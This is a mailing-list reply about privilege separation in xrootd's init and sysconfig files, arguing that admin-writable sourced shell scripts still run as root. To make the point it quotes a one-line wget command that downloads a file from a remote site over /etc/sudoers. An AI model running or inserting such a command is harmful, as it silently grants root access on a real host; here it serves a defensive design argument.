 |
 |
2011/6/7 Andrew Hanushevsky <[log in to unmask]>: > Yes, you are absolutely right but this is because etc/sysconfig effectively > runs as root. That means you would need at least those privs to modify it as > it can assume any identity. We talked about the solution here in the OSG > meeting and there was no consensus (i.e. all proposed solutions made someone > unhappy). The bottom line was that the etc/sysconfig bundled too much > information together. Some should only be changeable as a privileged user > (i.e. the runuser name) and others should be open to the admin (i.e. > instance names and instances). The short-term solution was to leave this > owned by root until a more satisfying solution could be found. Yes, I have discussed this briefly with Tanya yesterday. Please take note of two additional facts: * the sysconfig files are as a convention shell scripts that are sourced into the init scripts, so having a separate sysconfig script with the instance definitions (writable to xrootd admin) and a separate with the account definitions (writable to root) doesn't change anything at all for two reasons: - settings defined in one file can be overridden in the other (they are just shell variables) - in the sysconfig file writable to the xrootd admin you can say: "wget http://mysite/mysudoers.file -O /etc/sudoers 2>/dev/null" and this will be executed with root privileges on restart * to start/stop the instances you still need root privileges because of the runuser/ulimit limitations > Now, as for the xrootd.cf file, changing it has little practical impact in > the sense that if you've compromised the xroot server than you already have > everything that you would want to have. Changing the .cf file does not give > you more and in fact makes it possible to catch the compromise (i.e. it > would be to your disadvantage to change it). Correct.